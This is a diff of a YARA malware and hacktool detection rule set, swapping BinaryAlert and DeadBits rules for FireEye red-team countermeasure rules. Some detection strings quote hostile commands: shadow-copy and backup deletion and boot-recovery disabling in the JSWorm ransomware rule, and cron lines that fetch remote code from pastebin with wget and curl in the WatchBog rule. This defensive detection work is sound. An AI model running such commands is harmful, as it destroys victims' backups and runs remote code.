+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharpStomp project."
+		author = "FireEye"
+		id = "e113c221-fabe-5af4-b763-463c4f86288d"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSTOMP/production/yara/HackTool_MSIL_SharpStomp_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "83ed748cd94576700268d35666bf3e01"
+		logic_hash = "fd0a3d046734d48be74d9a74f27570468550d21911c54ca82c81a1d64e9fdd17"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$a1 = "INTERCEPTED PASSWORD:" wide ascii
-		$a2 = "more sshbuf problems." wide ascii
+		$typelibguid1 = "41f35e79-2034-496a-8c82-86443164ada2" ascii nocase wide
 
 	condition:
-		all of ($a*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
 }
-rule BINARYALERT_Hacktool_Multi_Ntlmrelayx
+import "pe"
+
+rule FIREEYE_RT_FE_APT_Loader_MSIL_REVOLVER_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - BinaryAlert"
-		author = "@mimeframe"
-		id = "7e0bc28f-9cb7-5c09-aedc-d95af23454aa"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_ntlmrelayx.yara#L1-L15"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "0d5d2d38866eb243e1803c456944e887d9d3920c54b15fd658bf90831fd87bfa"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "d99620e0-39ed-58db-acce-0d885a9e0bf7"
+		date = "2020-12-18"
+		modified = "2020-12-18"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REVOLVER/production/yara/APT_Loader_MSIL_REVOLVER_1.yar#L5-L14"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		logic_hash = "1231f4c961dec122ebcb142052c2c7c03acf9b556cdb71a3efabde6bcf50a939"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$a1 = "Started interactive SMB client shell via TCP" wide ascii
-		$a2 = "Service Installed.. CONNECT!" wide ascii
-		$a3 = "Done dumping SAM hashes for host:" wide ascii
-		$a4 = "DA already added. Refusing to add another" wide ascii
-		$a5 = "Domain info dumped into lootdir!" wide ascii
+		$inject = { 28 [2] 00 06 0? 0? 7B [2] 00 04 7E [2] 00 0A 28 [2] 00 0A [2-40] 7E [2] 00 0A 0? 20 00 10 00 00 28 [2] 00 0A 0? 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? ?? 20 00 30 00 00 1F 40 28 [2] 00 06 [2-40] 28 [2] 00 0A 1? 3? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 2? ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 0A 28 [2] 00 06 1? ?? 1? ?? 1? 0? 1? ?? 8? 6? 28 [2] 00 0A 1? ?? FE 15 [2] 00 02 1? ?? 72 [2] 00 70 28 [2] 00 06 1? ?? FE 15 [2] 00 02 1? ?? 1? ?? 1? 28 [2] 00 06 2? 7E [2] 00 0A 1? ?? 0? 7B [2] 00 04 1? ?? 1? 1? ?? 28 [2] 00 06 2? ?? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-10] 7E [2] 00 0A 1? ?? 1? ?? 20 [2] 1F 00 7E [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 1? ?? 7E [2] 00 0A 1? 1? 20 [2] 00 00 20 [2] 00 00 7E [2] 00 0A 28 [2] 00 06 2? 1? ?? 7E [2] 00 0A 28 [2] 00 0A [2-40] 1? ?? 0? 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 2? ?? 2? 1? 1? ?? 1? ?? 1? ?? 28 [2] 00 06 }
+		$iz1 = /_Cor(Exe|Dll)Main/ fullword
 
 	condition:
-		any of ($a*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule BINARYALERT_Hacktool_Multi_Bloodhound_Owned
+rule FIREEYE_RT_APT_Hacktool_MSIL_REVOLVER_1 : FILE
 {
 	meta:
-		description = "Bloodhound: Custom queries to document a compromise, find collateral spread of owned nodes, and visualize deltas in privilege gains"
-		author = "@fusionrace"
-		id = "4d458339-6589-5094-8c23-1ad2baee19f1"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/porterhau5/BloodHound-Owned/"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_bloodhound_owned.yara#L1-L20"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "01ef15a3cd606c46dacb0f22477fe97f94e212a38af1cd5bdd7eb11efe8144dd"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'revolver' project."
+		author = "FireEye"
+		id = "8fa5adb7-dc66-51bc-9f60-2308515f33a8"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REVOLVER/production/yara/APT_HackTool_MSIL_REVOLVER_1.yar#L4-L16"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "8df8a56ed55b7857adb95daa643d544a49eb5f1952b4ad3ef757c34dad2ce317"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 71
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$s1 = "Find all owned Domain Admins" fullword ascii wide
-		$s2 = "Find Shortest Path from owned node to Domain Admins" fullword ascii wide
-		$s3 = "List all directly owned nodes" fullword ascii wide
-		$s4 = "Set owned and wave properties for a node" fullword ascii wide
-		$s5 = "Find spread of compromise for owned nodes in wave" fullword ascii wide
-		$s6 = "Show clusters of password reuse" fullword ascii wide
-		$s7 = "Something went wrong when creating SharesPasswordWith relationship" fullword ascii wide
-		$s8 = "reference doc of custom Cypher queries for BloodHound" fullword ascii wide
-		$s9 = "Created SharesPasswordWith relationship between" fullword ascii wide
-		$s10 = "Skipping finding spread of compromise due to" fullword ascii wide
+		$typelibguid0 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
+		$typelibguid1 = "b214d962-7595-440b-abef-f83ecdb999d2" ascii nocase wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule BINARYALERT_Hacktool_Multi_Responder_Py
+rule FIREEYE_RT_APT_Hacktool_MSIL_JUSTASK_1 : FILE
 {
 	meta:
-		description = "Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server"
-		author = "@fusionrace"
-		id = "82699a67-8ba1-5535-9183-3c857e60134c"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "http://www.c0d3xpl0it.com/2017/02/compromising-domain-admin-in-internal-pentest.html"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_responder_py.yara#L1-L17"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "a99a806b7c578af1f2163583f957db13fa7269c7426666189d85bec2ac87ad4b"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'justask' project."
+		author = "FireEye"
+		id = "06a03d82-db69-5b5a-a578-a8053814e917"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/JUSTASK/production/yara/APT_HackTool_MSIL_JUSTASK_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "24d2f8e3838c4f02cd80644a396ce7cf105761d2feba54e39973564ca5e97571"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$s1 = "Poison all requests with another IP address than Responder's one." fullword ascii wide
-		$s2 = "Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned." fullword ascii wide
-		$s3 = "Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network." fullword ascii wide
-		$s4 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide
-		$s5 = "Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)" fullword ascii wide
-		$s6 = "31mOSX detected, -i mandatory option is missing" fullword ascii wide
-		$s7 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide
+		$typelibguid0 = "aa59be52-7845-4fed-9ea5-1ea49085d67a" ascii nocase wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule BINARYALERT_Hacktool_Multi_Ncc_ABPTTS
+rule FIREEYE_RT_Hacktool_MSIL_Wmisharp_1 : FILE
 {
 	meta:
-		description = "Allows for TCP tunneling over HTTP"
-		author = "@mimeframe"
-		id = "dd5f6316-9e51-5cc8-b293-dc33b09cc801"
-		date = "2017-08-11"
-		modified = "2017-08-11"
-		reference = "https://github.com/nccgroup/ABPTTS"
-		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_ncc_ABPTTS.yara#L1-L19"
-		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
-		logic_hash = "09874b1d997ac193ad1afa0226f6fb22836c8720c0599d773b18072b92a3acc4"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMISharp' project."
+		author = "FireEye"
+		id = "97b9d057-30d3-5af7-bac6-4dd53f47650f"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISHARP/production/yara/HackTool_MSIL_WMISharp_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "d119d52c1410291d582696d5c4c1de3db9008db963c76a9e344959d869c3acc0"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$s1 = "---===[[[ A Black Path Toward The Sun ]]]===---" ascii wide
-		$s2 = "https://vulnerableserver/EStatus/" ascii wide
-		$s3 = "Error: no ABPTTS forwarding URL was specified. This utility will now exit." ascii wide
-		$s4 = "tQgGur6TFdW9YMbiyuaj9g6yBJb2tCbcgrEq" fullword ascii wide
-		$s5 = "63688c4f211155c76f2948ba21ebaf83" fullword ascii wide
-		$s6 = "ABPTTSClient-log.txt" fullword ascii wide
+		$typelibguid0 = "3a2421d9-c1aa-4fff-ad76-7fcb48ed4bff" ascii nocase wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-/*
- * YARA Rule Set
- * Repository Name: DeadBits
- * Repository: https://github.com/deadbits/yara-rules/
- * Retrieval Date: 2024-08-04
- * Git Commit: d002f7ecee23e09142a3ac3e79c84f71dda3f001
- * Number of Rules: 17
- * Skipped: 0 (age), 6 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule DEADBITS_Jsworm : MALWARE FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_GPOHUNT_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "6d452d04-b475-5241-890c-68119a7a8691"
-		date = "2019-09-06"
-		modified = "2019-09-06"
-		reference = "https://github.com/deadbits/yara-rules/"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/JSWorm.yara#L1-L38"
-		license_url = "N/A"
-		logic_hash = "99074e25ec15c5b25fa41bef19203f5ddc227acd51fadca1e2c3ece538b3da01"
-		score = 75
-		quality = 78
-		tags = "MALWARE, FILE"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'gpohunt' project."
+		author = "FireEye"
+		id = "e4325f11-103c-5893-8978-9a72f7ca6105"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/GPOHUNT/production/yara/APT_HackTool_MSIL_GPOHUNT_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "4b1f175dac123a6340494e2730d66c718478fb7618dc5611315992ed33e0f6c7"
+		score = 50
+		quality = 73
+		tags = "FILE"
+		rev = 3
 
 	strings:
-		$name00 = "JSWORM" nocase
-		$str00 = "DECRYPT.txt" nocase
-		$str02 = "cmd.exe"
-		$str03 = "/c reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"zapiska\" /d \"C:\\ProgramData\\"
-		$str04 = /\/c taskkill.exe taskkill \/f \/im (store|sqlserver|dns|sqlwriter)\.exe/
-		$str05 = "/c start C:\\ProgramData\\"
-		$str06 = "/c vssadmin.exe delete shadows /all /quiet"
-		$str07 = "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures -y"
-		$str08 = "/c bcdedit /set {default} recoveryenabled No -y"
-		$str09 = "/c wbadmin delete catalog -quiet"
-		$str10 = "/c wmic shadowcopy delete -y"
-		$uniq00 = "fuckav"
-		$uniq01 = "DECRYPT.hta" nocase
-		$uniq02 = "Backup e-mail for contact :"
-		$uniq03 = "<HTA:APPLICATION APPLICATIONNAME=" nocase
+		$typelibguid0 = "751a9270-2de0-4c81-9e29-872cd6378303" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and (($name00 and 5 of ($str*)) or (5 of ($str*) and 2 of ($uniq*)) or ($name00 and any of ($uniq*)))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule DEADBITS_TA505_Flowerpippi : TA505 FINANCIAL BACKDOOR WINMALWARE FILE
+rule FIREEYE_RT_Loader_MSIL_Wmirunner_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "1cfcb25e-1de9-53ac-b272-22792844a2d0"
-		date = "2019-07-18"
-		modified = "2019-07-22"
-		reference = "https://github.com/deadbits/yara-rules"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/TA505_FlowerPippi.yara#L1-L65"
-		license_url = "N/A"
-		logic_hash = "eb709915f67d7225b024da99bc84a21455f3b9d5fb4bc779bbdf6a4d3ab33489"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIRunner' project."
+		author = "FireEye"
+		id = "04c6acfc-859f-5e4a-8c59-9adf08f21657"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMIRUNNER/production/yara/Loader_MSIL_WMIRunner_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "49d21756a4f0b29909c4b0fa9f3a98dd0480f9401923032de4b3920814b85f29"
 		score = 75
-		quality = 24
-		tags = "TA505, FINANCIAL, BACKDOOR, WINMALWARE, FILE"
-		Author = "Adam M. Swanda"
+		quality = 73
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$pipi = "pipipipip" ascii fullword
-		$pdb0 = "Loader.pdb" ascii fullword
-		$str0 = "bot.php" ascii fullword
-		$str1 = "%.2X" ascii fullword
-		$str2 = "sd.bat" ascii fullword
-		$str3 = "open" ascii fullword
-		$str4 = "domain" ascii fullword
-		$str5 = "proxy" ascii fullword
-		$str6 = ".exe" ascii fullword
-		$str7 = "Can't launch EXE file" ascii fullword
-		$str8 = "Can't load file" ascii fullword
-		$str9 = ".dll" ascii fullword
-		$str10 = "Dll function not found" ascii fullword
-		$str11 = "Can't load Dll" ascii fullword
-		$str12 = "__start_session__" ascii fullword
-		$str13 = "__failed__" ascii fullword
-		$str14 = "RSDSG" ascii fullword
-		$str15 = "ProxyServer" ascii fullword
-		$str16 = ":Repeat" ascii fullword
-		$str17 = "del \"%s\"" ascii fullword
-		$str18 = "if exist \"%s\" goto Repeat" ascii fullword
-		$str19 = "rmdir \"%s" ascii fullword
-		$str20 = "del \"%s\"" ascii fullword
-		$str21 = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" ascii fullword
-		$str22 = "ProxyEnable" ascii fullword
-		$str23 = ".00cfg" ascii fullword
-		$str24 = ".idata" ascii fullword
-		$api0 = "IsProcessorFeaturePresent" ascii fullword
-		$api1 = "IsDebuggerPresent" ascii fullword
-		$api2 = "HttpOpenRequestA" ascii fullword
-		$api3 = "InternetCrackUrlA" ascii fullword
-		$api4 = "InternetOpenW" ascii fullword
-		$api5 = "HttpSendRequestW" ascii fullword
-		$api6 = "InternetCloseHandle" ascii fullword
-		$api7 = "InternetConnectA" ascii fullword
-		$api8 = "InternetSetOptionW" ascii fullword
-		$api9 = "InternetReadFile" ascii fullword
-		$api10 = "WININET.dll" ascii fullword
-		$api11 = "URLDownloadToFileA" ascii fullword
+		$typelibguid0 = "6cc61995-9fd5-4649-b3cc-6f001d60ceda" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and ((10 of ($str*) and $pipi) or (10 of ($str*) and $pdb0) or (10 of ($str*) and 5 of ($api*)) or ( all of them ))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule DEADBITS_Silenttrinity : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_DTRIM_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "40f9174c-e9a5-5453-b5fa-6c01c46daffa"
-		date = "2019-07-19"
-		modified = "2019-07-19"
-		reference = "https://countercept.com/blog/hunting-for-silenttrinity/"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/SilentTrinity_Payload.yara#L1-L55"
-		license_url = "N/A"
-		logic_hash = "7fd1775aadfccfdf141c0721f557e6c54b058ac17a59a8e4561dd62ab4a1eff3"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'dtrim' project, which is a modified version of SharpSploit."
+		author = "FireEye"
+		id = "9be695a1-6d18-5952-974c-96a30f035e7a"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DTRIM/production/yara/APT_HackTool_MSIL_DTRIM_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "357c1f76631ec9ee342995cd12369fd9ff18c541bffe6f5464b1e8db45057196"
 		score = 75
-		quality = 78
+		quality = 73
 		tags = "FILE"
-		Description = "Attempts to detect the SilentTrinity malware family"
-		Author = "Adam M. Swanda"
+		rev = 2
 
 	strings:
-		$pdb01 = "SILENTTRINITY.pdb" ascii
-		$str01 = "Found {0} in zip" ascii fullword
-		$str02 = "{0} not in zip file" ascii fullword
-		$str03 = "Invalid HMAC: {0}" ascii fullword
-		$str04 = "Attempting HTTP GET to {0}" ascii fullword
-		$str05 = "Downloaded {0} bytes" ascii fullword
-		$str06 = "Error downloading {0}: {1}" ascii fullword
-		$str07 = "Attempting HTTP POST to {0}" ascii fullword
-		$str08 = "POST" ascii fullword
-		$str09 = "application/octet-stream" ascii fullword
-		$str10 = "Error sending job results to {0}: {1}" ascii fullword
-		$str11 = ".dll" ascii fullword
-		$str12 = "Trying to resolve assemblies by staging zip" ascii fullword
-		$str13 = "'{0}' loaded" ascii fullword
-		$str14 = "Usage: SILENTTRINITY.exe <URL> [<STAGE_URL>]" ascii fullword
-		$str15 = "IronPython.dll" ascii fullword
-		$str16 = "IronPythonDLL" ascii fullword
-		$str17 = "DEBUG" ascii fullword
-		$str18 = "Main.py" ascii fullword
-		$str19 = "Execute" ascii fullword
-		$str20 = "SILENTTRINITY.Properties.Resources" ascii fullword
-		$str21 = ".zip" ascii fullword
-		$a00 = "HttpGet" ascii fullword
-		$a01 = "System.Net" ascii fullword
-		$a02 = "Target" ascii fullword
-		$a03 = "WebClient" ascii fullword
-		$a04 = "get_Current" ascii fullword
-		$a05 = "Endpoint" ascii fullword
-		$a06 = "AesDecrypt" ascii fullword
-		$a07 = "AesEncrypt" ascii fullword
-		$a08 = "cert" ascii fullword
-		$a09 = "WebRequest" ascii fullword
-		$a10 = "HttpPost" ascii fullword
+		$typelibguid0 = "7760248f-9247-4206-be42-a6952aa46da2" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and ((8 of ($str*) or ( all of ($a*) and $pdb01) or $pdb01))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule DEADBITS_Winnti_Linux : LINUXMALWARE FILE
+rule FIREEYE_RT_Hacktool_MSIL_PXELOOT_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "d90dec69-1a8b-547c-a302-d00c612a71ed"
-		date = "2019-07-18"
-		modified = "2019-07-22"
-		reference = "https://github.com/deadbits/yara-rules"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/winnti_linux.yara#L1-L37"
-		license_url = "N/A"
-		logic_hash = "216c103b4ffceaa0540b8c81645d3fd91a7dab2b32b1cf84ccb85f134c9d23c8"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the PXE And Loot project."
+		author = "FireEye"
+		id = "5a72a6ff-bae4-57f5-a19b-a4595ac57293"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PXELOOT/production/yara/HackTool_MSIL_PXELOOT_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "82e33011ac34adfcced6cddc8ea56a81"
+		logic_hash = "c9892adcb9ff5471235e45988f6662d3b8f984fdafca7024a5781eed50f6c0b3"
 		score = 75
-		quality = 76
-		tags = "LINUXMALWARE, FILE"
-		Author = "Adam M. Swanda"
+		quality = 73
+		tags = "FILE"
+		rev = 7
 
 	strings:
-		$str0 = "HIDE_THIS_SHELL=x"
-		$str1 = "/usr/sbin/dmidecode  | grep -i 'UUID' |cut -d' ' -f2 2>/dev/null" ascii fullword
-		$str2 = "mutex.max:  %lu" ascii fullword
-		$str3 = "mutex.err:  %lu" ascii fullword
-		$str4 = "/tmp/ans.log" ascii fullword
-		$str5 = "mutex.used: %lu" ascii fullword
-		$str6 = "Warning: Some of the worker threads may have failed to exit." ascii fullword
-		$str7 = "line %d - " ascii fullword
-		$str8 = "Warning an error has occurred when trying to obtain a worker task." ascii fullword
-		$str9 = "6CMutex" ascii fullword
-		$str10 = "Failed to obtain an empty task from the free tasks queue." ascii fullword
-		$str11 = "A problem was detected in the queue (expected NULL, but found a different value)." ascii fullword
-		$str12 = "Failed to a task to the free tasks queue during initialization." ascii fullword
-		$str13 = "/var/run/libudev1.pid" ascii fullword
-		$str14 = "__pthread_key_create" ascii fullword
-		$str15 = "The threadpool received as argument is NULL." ascii fullword
-		$str16 = "Failed to enqueue a task to free tasks queue." ascii fullword
-		$str17 = "Failed to obtain a task from the jobs queue." ascii fullword
-		$str18 = "Failed to add a new task to the tasks queue." ascii fullword
-		$str19 = "setsockopt  failed" ascii fullword
-		$str20 = "libxselinux.so" ascii fullword
-		$str21 = "/lib/libxselinux" ascii fullword
+		$typelibguid1 = "78B2197B-2E56-425A-9585-56EDC2C797D6" ascii nocase wide
 
 	condition:
-		uint16(0)==0x457f and 8 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
 }
-rule DEADBITS_Watchdog_Botnet : BOTNET LINUXMALWARE EXPLOITATION CVE_2019_11581 CVE_2019_10149
+rule FIREEYE_RT_Hacktool_PY_Impacketobfuscation_1
 {
 	meta:
-		description = "No description has been set in the source file - DeadBits"
-		author = "Adam Swanda"
-		id = "ae95f934-2a9b-5c65-a11f-ea946d7f1bc6"
-		date = "2019-07-22"
-		modified = "2019-07-22"
-		reference = "https://twitter.com/polarply/status/1153232987762376704"
-		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/WatchBog_Linux.yara#L1-L100"
-		license_url = "N/A"
-		logic_hash = "aea8afdf118b79f701941ddd4306ee0f1c947ea59de5485ff977beff95e06d35"
+		description = "smbexec"
+		author = "FireEye"
+		id = "992d1132-3136-5e1b-a1ef-dcdf36ebf0f5"
+		date = "2020-12-01"
+		date = "2020-12-01"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/IMPACKETOBF (Smbexec)/production/yara/HackTool_PY_ImpacketObfuscation_1.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "0b1e512afe24c31531d6db6b47bac8ee"
+		logic_hash = "45a4c0426b29b8c8bede9c4e8292131da7e756d48fc3ac4a07d08fd52383d21e"
 		score = 75
-		quality = 78
-		tags = "BOTNET, LINUXMALWARE, EXPLOITATION, CVE_2019_11581, CVE_2019_10149"
-		Author = "Adam M. Swanda"
+		quality = 75
+		tags = ""
+		rev = 1
 
 	strings:
-		$py0 = "libpython" ascii
-		$str0 = "*/3 * * * * root wget -q -O- https://pastebin.com/raw/" ascii
-		$str1 = "*/1 * * * * root curl -fsSL https://pastebin.com/raw/" ascii
-		$str6 = "onion.to"
-		$str7 = /https?:\/\/pastebin.com\/raw/ nocase
-		$str8 = "http://icanhazip.com/"
-		$str9 = "http://ident.me/"
